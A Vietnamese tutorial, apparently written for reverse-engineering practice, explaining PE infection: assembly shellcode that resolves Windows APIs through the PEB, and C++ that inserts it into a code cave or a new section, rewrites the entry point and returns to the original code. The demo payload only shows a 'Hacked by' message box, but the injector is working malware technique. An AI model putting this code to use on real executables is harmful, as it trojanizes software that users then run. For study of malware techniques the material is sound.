# PE Infection PE Infection là một kĩ thuật chèn shellcode độc vào một file PE để biến nó từ một file PE thường thành file PE độc hại. Đây có thể coi là một trong những kỹ thuật cơ bản mà mã độc thường sử dụng. Để thực hiện kĩ thuật trên, ta sẽ thực hiện vài bước cơ bản như sau: - Tạo và sửa shellcode độc - Đọc file PE mục tiêu - Tìm vị trí để chèn Shellcode. Nếu không thể tìm được thì tạo một Section mới để chứa Shellcode đó - Chỉnh sửa lại các trường cho hợp lí - Chỉnh sửa Shellcode để đảm bảo sau khi chạy xong Shellcode chương trình sẽ quay về luồng chạy bình thường Trong phạm vi bài viết này, shellcode sẽ được thực thi trước khi thực hiện các chức năng ban đầu của file bị lây nhiễm. Ta sẽ bắt đầu với bước đầu tiên là tạo một Shellcode. ## Tạo Shellcode độc Về cơ bản, Shellcode là một đoạn mã nhỏ được sử dụng làm trọng tải trong việc khai thác lỗ hổng phần mềm. Và Shellcode phải hoạt động độc lập, để nó có thể chạy ở bất cứ môi trường nào. Shellcode không thể sử dụng Windows API để tương tác với Windows OS một cách bình thường. Vì Shellcode chỉ là một đoạn mã nên nó không có cấu trúc của một file thực thi hợp lệ, dẫn đến Windows loader không thể nhận ra và thực thi nó. Bên cạnh đó, Windows loader phụ thuộc vào Import Address Table(IAT) , mà rất có thể IAT này không cung cấp các địa chỉ hàm mà shellcode cần nên nó không thể phụ thuộc vào IAT của process mà nó inject vào. Vậy nên Shellcode phải tự tìm các thư viện và các hàm cần thiết để có thể thực thi. Trong thư viện Kernel32.dll có chứa 2 API đặc biệt: - ``LoadLibraryA``: load thư viện và trả về handle đến thư viện đó. - ``GetProcAddress``: trả về địa chỉ của hàm được export của thư viện Nếu shellcode có thể sử dụng 2 API này thì nó có thể sử dụng tất cả các thư viện cũng như các hàm trong các thư viện, hay nói cách khác là sử dụng được các API. Tuy nhiên như đã đề cập ở trên, Shellcode không thể sử dụng API một cách bình thường. Vì thế ta cần phải lấy được địa chỉ của ``Kernel32.dll``, sau đó dựa vào Kernel32.dll để lấy địa chỉ các API trong dll trên, cụ thể ở đây là ``LoadLibraryA`` và ``GetProcAddress`` Mình sẽ viết một hàm lấy địa chỉ của các API trong ``Kernel32.dll``, về cơ bản, hàm này nhận tên của API, sau đó sử dụng cấu trúc PEB để lấy địa chỉ ``Kernel32.dll``, từ đó thực hiện vòng lặp để duyệt và lấy API cần tìm ```asm= peb_getFunc: push ebp mov ebp, esp sub esp, 14h xor eax, eax mov [ebp - 04h], eax ; lưu số lượng hàm trong kernel32.dll mov [ebp - 08h], eax ; lưu địa chỉ của EXPORT Address Table mov [ebp - 0ch], eax ; lưu địa chỉ của EXPORT Name Pointer Table mov [ebp - 10h], eax ; lưu địa chỉ của EXPORT Ordinal Table mov [ebp - 14h], eax ; lấy địa chỉ kernel32.dll ; TEB->PEB->Ldr->InMemoryOrderLoadList->currentProgram->ntdll->kernel32.BaseDll mov eax, [fs:30h] ; Trỏ đến PEB (https://en.wikipedia.org/wiki/Win32_Thread_Information_Block) mov eax, [eax + 0ch] ; Trỏ đến Ldr mov eax, [eax + 14h] ; Trỏ đến InMemoryOrderModuleList mov eax, [eax] ; Trỏ đến currentProgram module mov eax, [eax] ; Trỏ đến ntdll module mov eax, [eax -8h + 18h] ; eax = kernel32.dll base mov ebx, eax ; lưu địa chỉ của kernel32.dll vào ebx ; lấy địa chỉ của PE signature mov eax, [ebx + 3ch] ; offset 0x30 sau kernel32.dll - data là RVA của PE signature (0xf8) add eax, ebx ; địa chỉ của PE signature: eax = 0xf8 + kernel32 base ; lấy địa chỉ của Export Table mov eax, [eax + 78h] ; offset 0x78 sau PE signature là RVA của Export Table - data là RVA của IMAGE_EXPORT_DIRECTORY (0x93e40) add eax, ebx ; địa chỉ của IMAGE_EXPORT_DIRECTORY = 0x93e40 + kernel32 base ; lấy số lượng các hàm trong kernel32.dll mov ecx, [eax + 14h] ; 0x93e40 + 0x14 = 0x93e54 - data là số hàm có trong kernel32.dll (0x66b) mov [ebp - 4h], ecx ; [ebp - 4h] = 0x66b ; lấy địa chỉ của EXPORT Address Table (nơi chứa địa chỉ các hàm của kernel32.dll) mov ecx, [eax + 1ch] ; 0x93e40 + 0x1c = 0x93e5c - data là địa chỉ của EXPORT Address Table (0x93e68) add ecx, ebx ; cộng thêm địa chỉ kernel32.dll mov [ebp - 8h], ecx ; [ebp - 8h] = 0x93e68 + kernel32 base ; lấy địa chỉ của EXPORT Name Pointer Table (so sánh tên hàm với giá trị của cái này) mov ecx, [eax + 20h] ; 0x93e40 + 0x20 = 0x93e60 - data là địa chỉ của EXPORT Name Pointer Table (0x95814) add ecx, ebx ; cộng thêm địa chỉ kernel32.dll mov [ebp - 0ch], ecx ; [ebp - 0ch] = 0x95814 + kernel32 base ; lấy địa chỉ của EXPORT Ordinal Table mov ecx, [eax + 24h] ; 0x93e40 + 0x24 = 0x93e64 - data là địa chỉ của EXPORT Name Pointer Table (0x971c0) add ecx, ebx ; cộng thêm địa chỉ kernel32.dll mov [ebp - 10h], ecx ; [ebp - 10h] = 0x971c0 + kernel32 base ; vòng lặp tìm địa chỉ của hàm cần gọi trong kernel32.dll xor eax, eax xor ecx, ecx findYourFunctionPosition: mov esi, [ebp + 08h] ; esi = địa chỉ của chuỗi tên hàm cần tìm mov edi, [ebp - 0ch] ; edi = địa chỉ của EXPORT Name Pointer Table cld ; set cho Direction Flag bằng 0 (https://en.wikipedia.org/wiki/Direction_flag) mov edi, [edi + eax*4] ; edi + eax*4 để tính RVA của hàm tiếp theo => data của nó là địa chỉ hàm tiếp theo add edi, ebx ; cộng thêm với địa chỉ kernel32.dll mov cx, 8 ; so sánh 8 byte đầu repe cmpsb ; so sánh [esi] và [edi] jz GetYourFunctionFound inc eax ; i++ cmp eax, [ebp - 4h] ; kiểm tra xem check hết các hàm chưa jne findYourFunctionPosition GetYourFunctionFound: mov ecx, [ebp - 10h] ; ecx = ordinal table mov edx, [ebp - 8h] ; edx = export address table ; tính địa chỉ hàm mov ax, [ecx + eax * 2] ; tính ordinal của hàm mov eax, [edx + eax * 4] ; lấy RVA của function add eax, ebx ; cộng thêm địa chỉ kernel32.dll để lấy chính xác địa chỉ của hàm add esp, 14h mov esp, ebp pop ebp ret ``` Một vấn đề khác của Shellcode là trong khi các chương trình bình thường khi load String thì sẽ giữ các String đó ở section khác rồi gọi đến và load chúng chứ thường không giữ các String ở trong section ``.text``. Vì thế để load String trong Shellcode, mình sẽ tham khảo kĩ thuật viết Shellcode trong quyển ``Pratical Malware Analysis`` ```asm= call sub_A0 db 'LoadLibraryA', 0 sub_A0: call peb_getFunc mov [ebp - 04h], eax ; Address of LoadLibraryA call sub_A1 db 'GetProcAddress', 0 sub_A1: call peb_getFunc mov [ebp - 08h], eax ; Address of GetProcAddress xor eax, eax ``` Ở đây mình sẽ lợi dụng tính chất của [Calling Invention](https://en.wikipedia.org/wiki/Calling_convention): Khi chương trình chạy đến lệnh Call, địa chỉ tiếp theo sau lệnh Call sẽ tự động được Push lên Stack, mục đích của việc này là để xác định vị trí tiếp theo của chương trình sau khi hàm thực hiện xong. Tuy nhiên như ở ví dụ dưới đây, lệnh tiếp theo sau lệnh call là chuỗi "LoadLibraryA" được khai báo. Bằng cách này khi chương trình chạy đến lệnh Call thì địa chỉ của chuỗi trên sẽ được tự động push vào Stack. Với việc đã có chuỗi trên đỉnh Stack, thì khi gọi hàm ``peb_getFunc``, chương trình sẽ lấy giá trị đỉnh Stack là tham số đầu vào của hàm, từ đó sau khi chạy hàm ta lấy được địa chỉ của hai API ``LoadLibraryA`` và ``GetProcAddress`` Với việc đã load được hai API trên, việc load các API khác cũng sẽ trở nên dễ dàng hơn. Mình sẽ lấy thêm API ``MessageBoxA`` từ ``User32.dll`` để viết một Shellcode in ra MessageBox đơn giản ```asm= xor eax, eax call sub_A2 db 'User32.dll', 0 sub_A2: mov eax, [ebp - 04h] call eax ; LoadLibrary("User32.dll") mov [ebp - 0ch], eax ; hDll of User32.dll xor eax, eax xor ebx, ebx call sub_A3 db 'MessageBoxA', 0 sub_A3: mov eax, [ebp - 08h] mov ebx, [ebp - 0ch] push ebx call eax ; GetProcAddress(hDLL, "MessageBoxA") mov [ebp - 10h], eax ; Address of MessageBoxA ``` Sau khi lấy được địa chỉ hàm ``MessageBoxA``, mình sẽ viết tiếp một đoạn mã nữa để thực thi hàm và kết thúc Shellcode ```asm= xor eax, eax xor ebx, ebx call sub_A8 db 'WARNING!!!', 0 sub_A8: pop esi call sub_A9 db 'Hacked by Noobmannn!!!', 0 sub_A9: pop edi xor eax, eax mov eax, [ebp - 10h] xor ebx, ebx push ebx push esi push edi push ebx call eax ; MessageBoxA(NULL, "Hacked by Noobmannn!!!", "WARNING!!!", MB_OK) ``` ## Đọc File PE mục tiêu Bước này chỉ đơn giản đọc file PE để chuẩn bị chèn shellcode vào ```cpp= HANDLE hFile = CreateFileA(lpTargetFile, FILE_READ_ACCESS | FILE_WRITE_ACCESS, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD dwFileSize = GetFileSize(hFile, NULL); HANDLE hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, dwFileSize, NULL); LPBYTE lpFileAddr = (LPBYTE)MapViewOfFile(hFileMapping, FILE_MAP_READ | FILE_MAP_WRITE, NULL, NULL, dwFileSize); ``` ## Tìm vị trí để chèn shellcode ### Tìm Codecave để chèn shellcode vào Vì mỗi section của file PE khi được lưu trên disk sẽ có độ dài là bội số của trường FileAlignment, nên thường sẽ có những vùng nhớ trống, được gọi là codecave, ở cuối các section. Shellcode có thể chèn vào bất kì section nào, miễn là codecave có độ lớn phù hợp. Mình sẽ duyệt qua từng section một trong File, khi đó shellcode sẽ được chèn vào codecave phù hợp đầu tiên tìm được. ```Cpp= DWORD dwCnt = 0; DWORD dwPos; for (int i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++) { for (dwPos = pSecHdr->PointerToRawData; dwPos < (pSecHdr->PointerToRawData + pSecHdr->SizeOfRawData); dwPos++) { if (*(lpFileAddr + dwPos) == 0x00) { if (dwCnt++ == dwShellcodeSize) { dwPos -= dwShellcodeSize; lpShellAddr = (LPVOID)(lpFileAddr + dwPos); printf("[+] Fine Codecave in Section: %s\n", pSecHdr->Name); break; } } else { dwCnt = 0; } } if (lpShellAddr) { break; } dwCnt = 0; pSecHdr++; } ``` ### Thêm Section để chèn Shellcode Trong trường hợp không tìm được Codecave phù hợp, cần phải tạo một Section mới và chèn Shellcode vào. Tuy nhiên File chỉ giới hạn đủ nội dung để chứa đủ các Section hiện tại. Vì thế ta cần khởi tạo thêm nội dung cho File, sau đó tiến hành căn chỉnh lại các giá trị của file PE. ```cpp= DWORD dwNewSecRVA = 0; DWORD dwNewSecRaw = 0; if (!lpShellAddr) { pSecHdr = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHdrs); for (int i = 0; i < pNtHdrs->FileHeader.NumberOfSections - 1; i++) { pSecHdr++; } dwNewSecRaw = pSecHdr->PointerToRawData + pSecHdr->SizeOfRawData; pSecHdr++; // Thiết lập các giá trị mới cho File // Tăng số lượng Section pNtHdrs->FileHeader.NumberOfSections++; // Đặt tên Section mới strncpy((char*)pSecHdr->Name, ".shellol", IMAGE_SIZEOF_SHORT_NAME); // Mở rộng kích thước Image pNtHdrs->OptionalHeader.SizeOfImage += pNtHdrs->OptionalHeader.SectionAlignment; // Kích thước section mới, giá trị mở rộng phải là bội của FileAlignment pSecHdr->SizeOfRawData = pNtHdrs->OptionalHeader.FileAlignment * ((dwShellcodeSize / pNtHdrs->OptionalHeader.FileAlignment) + 1); // Kích thước ảo, sẽ tính ở bước sau pSecHdr->Misc.VirtualSize = 0; // Địa chỉ đầu section mới pSecHdr->PointerToRawData = dwNewSecRaw; // Địa chỉ ảo section mới pSecHdr->VirtualAddress = (pNtHdrs->FileHeader.NumberOfSections) * pNtHdrs->OptionalHeader.SectionAlignment; // Viết thêm nội dung cho file để chứa Section SetFilePointer(hFile, dwNewSecRaw, NULL, FILE_BEGIN); BYTE* buffer = (BYTE*)malloc(pSecHdr->SizeOfRawData); memset(buffer, 0x00, pSecHdr->SizeOfRawData); DWORD byteWritten; WriteFile(hFile, buffer, pSecHdr->SizeOfRawData, &byteWritten, NULL); // Lấy địa chỉ lpShellAddr = (LPVOID)(lpFileAddr + dwNewSecRaw); dwPos = dwNewSecRaw; printf("[+] Add New Section: %s\n", pSecHdr->Name); } ``` ## Copy Shellcode và căn chỉnh lại các trường của File PE Sau khi đã tìm được vị trí phù hợp, ta copy toàn bộ shellcode vào phần memory mới tìm được ```cpp= memcpy(lpShellAddr, shellcode, dwShellcodeSize); ``` Sau đó thực hiện căn chỉnh lại một số trường của file PE và tính Entry Point mới cho file, để đảm bảo file sẽ chạy Shellcode trước. ```cpp= // Mở rộng kích thước section chứa Shellcode pSecHdr->Misc.VirtualSize += dwShellcodeSize; // Chỉnh sửa đặc tính cho section pSecHdr->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE; // Chỉnh lại Entry Point pNtHdrs->OptionalHeader.AddressOfEntryPoint = dwPos + pSecHdr->VirtualAddress - pSecHdr->PointerToRawData; ``` ## Tinh chỉnh Shellcode Để đảm bảo sau khi chạy xong mã độc, file bị lây nhiễm sẽ chạy lại các tác vụ bình thường của nó. Ta cần chỉnh sửa cho chương trình sẽ nhảy về Entry Point gốc của nó sau khi thực thi Shellcode. Địa chỉ của hàm đầu tiên được thực hiện sau khi Shellcode kết thúc lúc này sẽ bằng tổng của Entry Point gốc với Image Base của chương trình đang chạy. Vì không phải lúc nào giá trị của Image Base lúc chương trình đang chạy sẽ giống với giá trị Image Base mặc định của File. Vậy nên trong Shellcode cần phải có 1 số thao tác để tính giá trị Image Base tại lúc chương trình đang chạy. Mô phỏng sơ qua cách tìm giá trị trên bằng C như dưới đây: ```cpp= HMODULE hModule = GetModuleHandle(NULL); MODULEINFO moduleInfo; GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo)); DWORD_PTR actualImageBase = (DWORD_PTR)moduleInfo.lpBaseOfDll; printf("Image Base thực tế: 0x%lX\n", actualImageBase); ``` Chương trình cần ba API là ``GetModuleHandleW``, ``GetCurrentProcess`` và ``K32GetModuleInformation``, cả ba đều của ``Kernel32.dll``, Mình sẽ viết ASM để load các dll trên như sau: ```asm= xor eax, eax xor ebx, ebx call sub_A4 db 'Kernel32.dll', 0 sub_A4: mov eax, [ebp - 04h] call eax ; GetProcAddress("Kernel32.dll") mov [ebp - 14h], eax ; hDll of Kernel32.dll xor eax, eax xor ebx, ebx call sub_A5 db 'GetModuleHandleW', 0 sub_A5: mov eax, [ebp - 08h] mov ebx, [ebp - 14h] push ebx call eax ; GetProcAddress(hDll, "GetModuleHandleW") mov [ebp - 18h], eax ; GetModuleHandleW xor eax, eax xor ebx, ebx call sub_A6 db 'GetCurrentProcess', 0 sub_A6: mov eax, [ebp - 08h] mov ebx, [ebp - 14h] push ebx call eax ; GetProcAddress(hDll, "GetCurrentProcess") mov [ebp - 1ch], eax ; GetCurrentProcess xor eax, eax xor ebx, ebx call sub_A7 db 'K32GetModuleInformation', 0 sub_A7: mov eax, [ebp - 08h] mov ebx, [ebp - 14h] push ebx call eax ; GetProcAddress(hDll, "K32GetModuleInformation") mov [ebp - 20h], eax ; K32GetModuleInformation ``` Sau khi load được đủ API cần thiết thì viết đoạn code để lấy giá trị ImageBase hiện tại của chương trình: ```asm= xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi mov eax, [ebp - 18h] push 0 call eax ; GetModuleHandle(NULL); mov [ebp - 24h], eax xor eax, eax mov eax, [ebp - 1ch] call eax ; GetCurrentProcess() mov esi, eax mov edi, [ebp - 24h] xor eax, eax xor ecx, ecx mov [ebp - 28h], ecx lea ecx, [ebp - 28h] mov eax, [ebp - 20h] push 0Ch push ecx push edi push esi call eax ; K32GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo)) xor eax, eax mov eax, dword ptr [ebp - 28h] ; Image Base của File tại thời điểm thực thi ``` Sau khi qua đoạn code trên, Imagebase tại thời điểm thực thi sẽ được lưu vào EAX, lúc này cộng giá trị trên với một giá trị đánh dấu ``0xAAAAAAAA``. Mục đích của việc đánh dấu này là sẽ thay đổi giá trị trên bằng Entry Point gốc của file PE. Khi đó tổng của chúng sẽ là địa chỉ mà tại đó chương trình gốc thực thi đẩu tiên. Thực hiện lệnh ``push eax`` trước lệnh ``ret`` để đảm bảo chương trình sẽ quay lại thực thi ở vị trí đó. ```asm= add eax, 0AAAAAAAAh add esp, 28h mov esp, ebp pop ebp push eax ret ``` Bây giờ chúng ta chỉ cần viết thêm một đoạn code nữa để sửa lại giá trị đánh dấu của shellcode ```cpp= PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpFileAddr; PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpFileAddr + pDosHdr->e_lfanew); PIMAGE_SECTION_HEADER pSecHdr = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHdrs); DWORD dwOEP = pNtHdrs->OptionalHeader.AddressOfEntryPoint; DWORD dwShellcodeSize = sizeof(shellcode); for (DWORD i = 0; i < dwShellcodeSize; i++) { if (*(LPDWORD)(shellcode + i) == 0xAAAAAAAA) { *(LPDWORD)(shellcode + i) = dwOEP; break; } } ``` ## Kết quả Tiến hành thực hiện PE infection với file PE mục tiêu là ``TestingFile.exe``, có Entrpoint gốc tại offset ``0x6B0`` kể từ đầu file. File này thực hiện in ra những nội dung như dưới đây ![image](https://hackmd.io/_uploads/H1T9_RKHC.png) Dưới đây là kết quả sau khi thực hiện PE Infection: - Tạo Section mới để chứa Shellcode: Do đoạn shellcode ban đầu mình viết có kích thước lớn nên chỉ có thể chèn thêm shellcode vào, kết quả chèn shellcode như hình dưới. Có thể thấy giá trị Entry Point đã bị đẩy sang đầu của section ``.shellol`` mình mới tạo ![image](https://hackmd.io/_uploads/SkJHF0YrR.png) - Chèn Shellcode vào các Section hiện có: Mình đã lược bớt một số phần để giảm kích thước shellcode đủ để chèn vào một codecave hiện đang có, và kết quả như hình dưới đây. Có thể thấy Entry Point gốc đã khác biệt và trong section ``.text`` đã chứa shellcode của chúng ta ![image](https://hackmd.io/_uploads/HyK6i0YHR.png) Kết quả: ![image](https://hackmd.io/_uploads/ry1o60tSC.png) Demo: [Here](https://www.youtube.com/watch?v=GRhvG720hQ8) or [Here](https://drive.google.com/file/d/1MYgqL6UopzyKg8eXLYtm_DW6gt-wHX5M/view?usp=sharing) ## Source Code [Here](https://github.com/noobmannn/TrainRev/tree/main/PE_Infection)